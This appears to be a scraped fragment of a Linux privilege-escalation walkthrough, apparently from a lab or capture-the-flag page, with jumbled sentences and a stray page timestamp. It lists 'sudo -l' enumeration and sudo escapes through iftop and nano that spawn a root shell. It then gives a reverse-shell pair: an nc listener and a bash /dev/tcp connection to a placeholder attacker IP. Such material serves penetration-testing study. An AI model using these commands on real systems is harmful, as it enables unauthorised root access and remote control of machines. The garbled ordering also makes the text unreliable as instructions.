start to know which process run with sudo privilege sudo -l
sudo -l
we will exploit all service
may command line not suitable when as a root by nano service so let’s try to take a reverse shell
which open a root shell but it’s blind which u can see the result only so let’s take a reverse shell on our machine
Last updated 9 months ago
sudo /usr/sbin/iftop !/bin/sh
sudo nano ctrl+R ctrl+x reset; sh 1>&0 2>&0
# attacker machine nc -nlvp 5253
# victim bash -i >& /dev/tcp/AttackerIP/5253 0>&1